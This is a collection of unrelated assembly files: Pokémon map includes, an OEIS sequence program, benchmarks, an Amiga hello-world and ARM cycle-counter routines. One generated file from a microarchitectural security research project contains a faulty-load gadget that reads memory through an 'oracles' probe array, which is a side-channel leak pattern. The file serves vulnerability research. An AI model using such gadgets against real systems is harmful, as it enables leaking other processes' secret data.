"maps/CherrygroveEvolutionSpeechHouse.asm" INCLUDE "maps/Route30BerryHouse.asm" INCLUDE "maps/MrPokemonsHouse.asm" INCLUDE "maps/Route31VioletGate.asm" SECTION "Map Scripts 19", ROMX INCLUDE "maps/AzaleaTown.asm" INCLUDE "maps/GoldenrodCity.asm" INCLUDE "maps/SaffronCity.asm" INCLUDE "maps/MahoganyRedGyaradosSpeechHouse.asm" INCLUDE "maps/MahoganyGym.asm" INCLUDE "maps/MahoganyPokecenter1F.asm" INCLUDE "maps/Route42EcruteakGate.asm" INCLUDE "maps/LakeOfRageHiddenPowerHouse.asm" INCLUDE "maps/LakeOfRageMagikarpHouse.asm" INCLUDE "maps/Route43MahoganyGate.asm" INCLUDE "maps/Route43Gate.asm" INCLUDE "maps/RedsHouse1F.asm" INCLUDE "maps/RedsHouse2F.asm" INCLUDE "maps/BluesHouse.asm" INCLUDE "maps/OaksLab.asm" SECTION "Map Scripts 20", ROMX INCLUDE "maps/CherrygroveCity.asm" INCLUDE "maps/Route35.asm" INCLUDE "maps/Route43.asm" INCLUDE "maps/Route44.asm" INCLUDE "maps/Route45.asm" INCLUDE "maps/Route19.asm" INCLUDE "maps/Route25.asm" SECTION "Map Scripts 21", ROMX INCLUDE "maps/CianwoodCity.asm" INCLUDE "maps/Route27.asm" INCLUDE "maps/Route29.asm" INCLUDE "maps/Route30.asm" INCLUDE "maps/Route38.asm" INCLUDE "maps/Route13.asm" INCLUDE "maps/PewterNidoranSpeechHouse.asm" INCLUDE "maps/PewterGym.asm" INCLUDE "maps/PewterMart.asm" INCLUDE "maps/PewterPokecenter1F.asm" INCLUDE "maps/PewterPokecenter2FBeta.asm" INCLUDE "maps/PewterSnoozeSpeechHouse.asm" SECTION "Map Scripts 22", ROMX INCLUDE "maps/EcruteakCity.asm" INCLUDE "maps/BlackthornCity.asm" INCLUDE "maps/Route26.asm" INCLUDE "maps/Route28.asm" INCLUDE "maps/Route31.asm" INCLUDE "maps/Route39.asm" INCLUDE "maps/Route40.asm" INCLUDE "maps/Route41.asm" INCLUDE "maps/Route12.asm" SECTION "Map Scripts 23", ROMX INCLUDE "maps/NewBarkTown.asm" INCLUDE "maps/VioletCity.asm" INCLUDE "maps/OlivineCity.asm" INCLUDE "maps/Route37.asm" INCLUDE "maps/Route42.asm" INCLUDE "maps/Route46.asm" INCLUDE "maps/ViridianCity.asm" INCLUDE "maps/CeladonCity.asm" INCLUDE "maps/Route15.asm" INCLUDE "maps/VermilionCity.asm" INCLUDE "maps/Route9.asm" INCLUDE "maps/CinnabarPokecenter1F.asm" INCLUDE "maps/CinnabarPokecenter2FBeta.asm" INCLUDE "maps/Route19FuchsiaGate.asm" INCLUDE "maps/SeafoamGym.asm" SECTION "Map Scripts 24", ROMX INCLUDE "maps/Route33.asm" INCLUDE "maps/Route2.asm" INCLUDE "maps/Route1.asm" INCLUDE "maps/PalletTown.asm" INCLUDE "maps/Route21.asm" INCLUDE "maps/CinnabarIsland.asm" INCLUDE "maps/Route20.asm" INCLUDE "maps/Route18.asm" INCLUDE "maps/Route17.asm" INCLUDE "maps/Route16.asm" INCLUDE "maps/Route7.asm" INCLUDE "maps/Route14.asm" INCLUDE "maps/LavenderTown.asm" INCLUDE "maps/Route6.asm" INCLUDE "maps/Route5.asm" INCLUDE "maps/Route24.asm" INCLUDE "maps/Route3.asm" INCLUDE "maps/Route4.asm" INCLUDE "maps/Route10South.asm" INCLUDE "maps/Route23.asm" INCLUDE "maps/SilverCavePokecenter1F.asm" INCLUDE "maps/Route28SteelWingHouse.asm" SECTION "Map Scripts 25", ROMX INCLUDE "maps/SilverCaveOutside.asm" INCLUDE "maps/Route10North.asm" INCLUDE "maps/ViridianForest.asm" INCLUDE "maps/ViridianForestSouthGate.asm" INCLUDE "maps/ViridianForestNorthGate.asm"
30.255102
58
0.823339
7206aecfcc036e2b172d591799fc96bfa847f2c9
709
asm
Assembly
oeis/003/A003053.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/003/A003053.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/003/A003053.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A003053: Order of orthogonal group O(n, GF(2)). ; Submitted by Jamie Morken(s2) ; 1,2,6,48,720,23040,1451520,185794560,47377612800,24257337753600,24815256521932800,50821645356918374400,208114637736580743168000,1704875112338069448032256000,27930968965434591767112450048000,915241991059360703024740763172864000,59980383884075203672726385914533642240000,7861748876453505095791592854589753555681280000,2060902435720151186326095525680721766346957783040000,1080506416218846625176535970968094253434513802154475520000,1132992015386677099994486205757869431795095310094129168384000000 mov $1,49 mov $3,1 lpb $0 sub $0,1 mul $2,2 add $3,1 add $4,$3 mul $1,$4 mov $3,$2 mov $2,$4 lpe mov $0,$1 div $0,49
39.388889
494
0.8378
6ff623f2fb399f18567580e305b51674324707a2
8,617
asm
Assembly
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_285.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_285.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_zr_/i7-7700_9_0x48.log_21829_285.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_D_ht+0x1befc, %rdi clflush (%rdi) nop cmp %r13, %r13 movw $0x6162, (%rdi) nop nop nop nop nop and %r10, %r10 lea addresses_D_ht+0x14b1c, %r9 nop nop nop nop and $27028, %r15 movb $0x61, (%r9) nop nop nop nop nop add %rbp, %rbp lea addresses_WC_ht+0x8d5c, %rsi lea addresses_D_ht+0x2f5c, %rdi nop nop nop add %r9, %r9 mov $100, %rcx rep movsb nop nop nop nop and %rax, %rax lea addresses_WC_ht+0x6b5c, %rsi nop nop xor %r9, %r9 movb (%rsi), %r15b cmp $56600, %r10 lea addresses_WT_ht+0x14b7, %rsi nop xor $20253, %rbp vmovups (%rsi), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %r13 nop nop nop and %r9, %r9 lea addresses_D_ht+0x795c, %rdi xor $59491, %r13 mov (%rdi), %rax add %rdi, %rdi lea addresses_UC_ht+0xda14, %rsi lea addresses_normal_ht+0x10ddc, %rdi nop nop nop sub %r9, %r9 mov $7, %rcx rep movsw nop nop nop nop nop and $22354, %rdi lea addresses_A_ht+0x1269c, %r15 nop nop nop nop sub $21849, %rdi mov (%r15), %r10w nop nop nop nop sub $57100, %r15 lea addresses_WC_ht+0x1769d, %rbp and %rcx, %rcx movb (%rbp), %r9b nop nop dec %r9 lea addresses_normal_ht+0xb4dc, %rsi lea addresses_normal_ht+0xa08c, %rdi nop xor %rbp, %rbp mov $32, %rcx rep movsl nop nop nop and %rbp, %rbp lea addresses_WC_ht+0x117f6, %rsi lea addresses_WT_ht+0xc88c, %rdi nop nop nop nop xor $8265, %r9 mov $39, %rcx rep movsl nop cmp $24194, %r10 lea addresses_UC_ht+0xdbdc, %r10 nop nop nop xor %r13, %r13 mov $0x6162636465666768, %rax movq %rax, %xmm2 movups %xmm2, (%r10) nop nop nop add %rdi, %rdi lea addresses_WC_ht+0x1cb1c, %rsi nop nop xor $16803, %r15 movw $0x6162, (%rsi) nop add %rbp, %rbp lea addresses_normal_ht+0x1795c, %rsi lea addresses_normal_ht+0x3f9a, %rdi clflush (%rdi) nop nop and %rax, %rax mov $92, %rcx rep movsq nop nop nop nop nop xor $40672, %r13 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r15 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r14 push %r15 push %r8 push %rbp // Load lea addresses_normal+0x395c, %r12 clflush (%r12) nop xor %r15, %r15 vmovups (%r12), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $0, %xmm6, %r14 nop nop nop sub $13256, %r12 // Store mov $0x109d600000000678, %r12 nop nop nop nop nop add $25020, %r15 movl $0x51525354, (%r12) nop nop cmp $54873, %r11 // Store lea addresses_RW+0x11e5c, %r12 inc %rbp movl $0x51525354, (%r12) nop cmp $44166, %r11 // Store lea addresses_UC+0x815c, %r11 nop nop nop nop nop xor %r15, %r15 mov $0x5152535455565758, %r8 movq %r8, %xmm6 vmovups %ymm6, (%r11) nop nop nop sub $62657, %r12 // Faulty Load lea addresses_US+0x1255c, %r13 nop and %r14, %r14 mov (%r13), %r15w lea oracles, %r12 and $0xff, %r15 shlq $12, %r15 mov (%r12,%r15,1), %r15 pop %rbp pop %r8 pop %r15 pop %r14 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
31.797048
2,999
0.654984
21074033062e18870201f17d673e6a4e78a588b5
267
asm
Assembly
_posts/code/Tools_for_microarchitectural_benchmarking/likwid/benchmark.asm
dendibakh/dendibakh.github.io
54a53957a7708c3768a4b7a6c8cc54d6c43ac8b0
[ "CC-BY-4.0" ]
45
2017-11-03T14:52:59.000Z
2022-02-10T16:00:06.000Z
_drafts/microbenchmarking_tools/likwid/benchmark.asm
dendibakh/dendibakh.github.io
54a53957a7708c3768a4b7a6c8cc54d6c43ac8b0
[ "CC-BY-4.0" ]
3
2021-02-01T09:24:50.000Z
2021-07-17T08:10:54.000Z
_drafts/microbenchmarking_tools/likwid/benchmark.asm
dendibakh/dendibakh.github.io
54a53957a7708c3768a4b7a6c8cc54d6c43ac8b0
[ "CC-BY-4.0" ]
14
2018-03-22T14:05:15.000Z
2021-08-23T07:06:31.000Z
;nasm -f elf64 test.asm %define nop8 db 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00 GLOBAL benchmark benchmark: push rbx push rcx .loop: mov eax, DWORD [rsi] mov eax, DWORD [rsi + 4] bswap ebx bswap ecx dec rdi jnz .loop mov eax, 0 pop rcx pop rbx ret ud2
10.269231
62
0.696629
d3d19b6325d3d36f6dc09487449451c0dbe33df6
807
asm
Assembly
examples/m68k/amiga_hello_world.asm
rakati/ppci-mirror
8f5b0282fd1122d7c389b39c86fcf5d9352b7bb2
[ "BSD-2-Clause" ]
161
2020-05-31T03:29:42.000Z
2022-03-07T08:36:19.000Z
examples/m68k/amiga_hello_world.asm
rakati/ppci-mirror
8f5b0282fd1122d7c389b39c86fcf5d9352b7bb2
[ "BSD-2-Clause" ]
74
2020-05-26T18:05:48.000Z
2021-02-13T21:55:39.000Z
examples/m68k/amiga_hello_world.asm
rakati/ppci-mirror
8f5b0282fd1122d7c389b39c86fcf5d9352b7bb2
[ "BSD-2-Clause" ]
19
2020-05-27T19:22:11.000Z
2022-02-17T18:53:52.000Z
; Roughly taken from: ; https://github.com/Sakura-IT/Amiga-programming-examples/blob/master/ASM/HelloWorld/helloworld.s ; See also: ; http://amigadev.elowar.com/read/ADCD_2.1/Includes_and_Autodocs_2._guide/node0367.html ; open library lea dosname, a1 moveq #36, d0 ; version 36 = Kick 2.0 moveal (4).W, a6 jsr (-552, a6) ; -552 = OpenLibrary lea txt, a6 ; load string name movel a6, d1 ; d1 = string to print moveal d0, a6 ; Move dosbase to a6 jsr (-948, a6) ; -948 = PutStr ; close library moveal a6, a1 ; Library to close moveal (4).W, a6 jsr (-414, a6) ; -414 = CloseLibrary ; clr.l d0 moveq #0, d0 rts dosname: ; TODO: ds "dos.library", 0 db 0x64 db 0x6f db 0x73 db 0x2e db 0x6c db 0x69 db 0x62 db 0x72 db 0x61 db 0x72 db 0x79 db 0 txt: ; "Hoi!", 0 db 0x48 db 0x6f db 0x69 db 0x21 db 0
15.823529
97
0.688971
3b94b14b731f60dca83686181a2928e514870860
378
asm
Assembly
mc-sema/validator/x86/tests/DIVSDrr.asm
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
[ "BSD-3-Clause" ]
2
2021-08-07T16:21:29.000Z
2021-11-17T10:58:37.000Z
mc-sema/validator/x86/tests/DIVSDrr.asm
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
[ "BSD-3-Clause" ]
null
null
null
mc-sema/validator/x86/tests/DIVSDrr.asm
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
[ "BSD-3-Clause" ]
null
null
null
BITS 32 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END ; convert 3 to a double precision float and store in xmm0 mov ecx, 3 cvtsi2sd xmm0, ecx ; convert 7 to a double precision float and store in xmm1 mov ecx, 7 cvtsi2sd xmm1, ecx ;TEST_BEGIN_RECORDING divsd xmm0, xmm1 ;TEST_END_RECORDING xor ecx, ecx cvtsi2sd xmm0, ecx cvtsi2sd xmm1, ecx
16.434783
57
0.791005
978529fdfc9d63f257db1fb400374e1c073c730b
2,689
asm
Assembly
08-functions/functions.asm
soumitradev/assembly-fun
3ab433e96ea1f6ea21121013800455a4fa999021
[ "MIT" ]
2
2020-08-09T06:17:13.000Z
2021-03-06T11:18:38.000Z
08-functions/functions.asm
soumitradev/assembly-fun
3ab433e96ea1f6ea21121013800455a4fa999021
[ "MIT" ]
null
null
null
08-functions/functions.asm
soumitradev/assembly-fun
3ab433e96ea1f6ea21121013800455a4fa999021
[ "MIT" ]
null
null
null
; Ok so we've learnt some basic Assembly, let's write a function ; Let's reuse a print piece of code ; mov al, 'H' ; jmp my_print ; return_here: ; my_print: ; mov ah, 0x0e ; int 0x10 ; jmp return_here ; Initially, we'd think this would be a good way to use a function. ; However, notice how we have hardcoded the return point. So, if I call ; this function from somewhere else, it won't return to where it was called from. ; However, the important concept here is how we used the lower side of register a ; to store a variable that we used as a parameter. We will reuse this concept. ; So, we need to store the memory address after the call somewhere, ; and access that memory address and jump there to return. ; The instruction pointer of the CPU keeps track of the memory location being currently executed, ; but it is difficult to access this pointer. ; The CPU actually gives us a way to store the return address and jump to it later ; It pushes the return address to a stack, pops it and jumps to it when it returns. ; Its called `call` and `ret` respectively. ; Now, another problem is that the function may alter the registers and we have no idea if ; the registers we were using store the same values. A function should be as unintrusive as possible ; So, we push all the registers to a stack, pop them off before we return and store them in the ; respective registers. The CPU provides single instructions for this too. ; They're called `pusha` and `popa` ; After all these additions, our function becomes: ; Pass this as parameter to function mov al, 'H' ; Write data to register b to test the pusha and popa mov bl, 'A' ; Call print functions call my_print ; After calling function, print the value in register b to test pusha and popa mov al, bl int 0x10 ; Define function my_print: ; Push all registers to stack pusha ; Write to register b. If this prints 'X', the function overwrote it and the pusha and popa didnt work mov bl, 'X' ; Print data in register a mov ah, 0x0e int 0x10 ; Pop all registers and put them back in registers popa ; Return to caller ret ; Note how it prints 'H' and then 'A'. So, the pusha and popa worked. ; I know this section is a lot of comments, but this part was very conceptual and we learnt a lot of ; things about how higher level functions work. ; Loop infinitely after finishing jmp $ ; Note how the code runs atleast once, so this is a do-while loop. ; I wanted to write a while loop, but we'll do that in the next section I guess ; Pad rest of boot sector with zeroes times 510-($-$$) db 0 ; Write magic number at end of boot sector dw 0xaa55
34.474359
103
0.726292
b27427580dc6f83a7f11b60be32b790a310f38f9
1,806
asm
Assembly
programs/oeis/119/A119336.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/119/A119336.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/119/A119336.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A119336: Expansion of (1-x)^4/((1-x)^6 - x^6). ; 1,2,3,4,5,6,8,16,45,130,341,804,1730,3460,6555,12016,21845,40410,77540,155080,320001,669526,1398101,2884776,5858126,11716252,23166783,45536404,89478485,176565486,350739488,701478976,1410132405,2841788170,5726623061,11517816204,23100202490,46200404980,92207099715,183833068696,366503875925,731264359650,1460785327100,2921570654200,5848371485001,11712433499806,23456248059221,46959567707856,93966207005126,187932414010252,375723613252263,751023582199804,1501199875790165,3001128818666166,6000986704418168,12001973408836336,24007759616415165,48026957629057810,96076792050570581,192187899289823604,384410113768329650,768820227536659300,1537537509507271275,3074766182316400576,6148914691236517205,12296902872378608490,24592879234662791060,49185758469325582120,98374296468934442001,196756931528718717286,393530540239137101141,787086096250823702136,1574197208274196904126,3148394416548393808252,6296713785779139116943,12593202429605332735204,25185954575304774473045,50371233724750712450046,100741792023642588404048,201483584047285176808096,402969194372146863104325,805944467577023254673050,1611901092819505566274901,3223820422137199717943004,6447659080772588021279210,12895318161545176042558420,25790581613595786328937235,51580999098707875389335656,103161669940448356241593685,206322847495445620677570930,412645202605440149549525420,825290405210880299099050840,1650582287578113873614951001,3301169006625287573480449966,6602346876188694799461995861,13204707046784569077675635616,26409427387976317634102915126,52818854775952635268205830252,105637669668683732100156728823,211275219687702848891548662604 mov $2,$0 add $2,1 mov $3,$0 lpb $2 mov $0,$3 sub $2,1 sub $0,$2 seq $0,306847 ; a(n) = Sum_{k=0..floor(n/6)} binomial(n,6*k). add $1,$0 lpe mov $0,$1
120.4
1,594
0.887043
6c5616580ce7094c825793084341c826848f92c8
3,346
asm
Assembly
base/Kernel/Native/arm/cyclecounter.asm
sphinxlogic/Singularity-RDK-2.0
2968c3b920a5383f7360e3e489aa772f964a7c42
[ "MIT" ]
null
null
null
base/Kernel/Native/arm/cyclecounter.asm
sphinxlogic/Singularity-RDK-2.0
2968c3b920a5383f7360e3e489aa772f964a7c42
[ "MIT" ]
null
null
null
base/Kernel/Native/arm/cyclecounter.asm
sphinxlogic/Singularity-RDK-2.0
2968c3b920a5383f7360e3e489aa772f964a7c42
[ "MIT" ]
null
null
null
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; Microsoft Research Singularity ARM Bootstrap ;;; ;;; |defining ?g_GetCycleCount@Class_Microsoft_Singularity_Isal_Isa@@SA_KXZ| EQU 1 |defining ?g_EnableCycleCounter@Class_Microsoft_Singularity_Isal_Isa@@SAXXZ| EQU 1 include hal.inc TEXTAREA ;;; ;;; Reset cycle counter ;;; ;;; "void __cdecl ResetCycleCounter(void)" ;;; LEAF_ENTRY ?ResetCycleCounter@@YAXXZ mrc p15, 0, r1, c9, c12, 0 ; read PMCR orr r1, r1, #8 ; set C mcr p15, 0, r1, c9, c12, 0 ; set PMCR ; bkpt 0xffff bx lr LEAF_END ;;; ;;; Check for cycle counter wrap ;;; ;;; "bool __cdecl CycleCounterWrapped(void)" ;;; LEAF_ENTRY ?CycleCounterWrapped@@YA_NXZ mrc p15, 0, r1, c9, c12, 3 ; read overflow status mov r1, r1, lsr #31 ; move CC overflow to bit 0 and r0, r1, #1 ; check bit 0 ; bkpt 0xffff bx lr LEAF_END ;;; ;;; Clear cycle counter wrap flag ;;; ;;; "void __cdecl ClearCycleCounterWrap(void)" ;;; LEAF_ENTRY ?ClearCycleCounterWrap@@YAXXZ mrc p15, 0, r1, c9, c12, 3 ; read overflow status bic r1, r1, #0x80000000 ; clear CC overflow bit mcr p15, 0, r1, c9, c12, 3 ; set overflow status ; bkpt 0xffff bx lr LEAF_END ;;; ;;; Enable cycle counter ;;; ;;; "void __cdecl EnableCycleCounter(void)" ;;; LEAF_ENTRY ?g_EnableCycleCounter@Class_Microsoft_Singularity_Isal_Isa@@SAXXZ mrc p15, 0, r1, c9, c12, 0 ; read PMCR orr r1, r1, #1 ; set E (enable) bit mcr p15, 0, r1, c9, c12, 0 ; write PMCR mrc p15, 0, r1, c9, c12, 1 ; read PM count enable set register orr r1, r1, #0x80000000 ; set C (CC enable) bit mcr p15, 0, r1, c9, c12, 1 ; write PM count enable set register ; bkpt 0xffff bx lr LEAF_END ;;; ;;; Disable cycle counter ;;; ;;; "void __cdecl DisableCycleCounter(void)" ;;; LEAF_ENTRY ?DisableCycleCounter@@YAXXZ mrc p15, 0, r1, c9, c12, 1 ; read PM count enable set register bic r1, r1, #0x80000000 ; clear C (CC enable) bit mcr p15, 0, r1, c9, c12, 1 ; write PM count enable set register mrc p15, 0, r1, c9, c12, 0 ; read PMCR bic r1, r1, #1 ; clear E (enable) bit mcr p15, 0, r1, c9, c12, 0 ; write PMCR ; bkpt 0xffff bx lr LEAF_END ;;; ;;; "public: static unsigned __int64 __cdecl Class_Microsoft_Singularity_Isal_Isa::g_GetCycleCount(void)" ;;; LEAF_ENTRY ?g_GetCycleCount@Class_Microsoft_Singularity_Isal_Isa@@SA_KXZ mrc p15, 0, r0, c9, c13, 0 mov r1, #0 ; bkpt 0xffff bx lr LEAF_END ;;; ;;; "unsigned __int64 __cdecl RDTSC(void)" ;;; LEAF_ENTRY ?RDTSC@@YA_KXZ mrc p15, 0, r0, c9, c13, 0 mov r1, #0 ; bkpt 0xffff bx lr LEAF_END END
29.095652
106
0.510161
647cc62396b0b3b70fc934155433454fa1ce5922
744
asm
Assembly
oeis/030/A030432.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/030/A030432.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/030/A030432.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
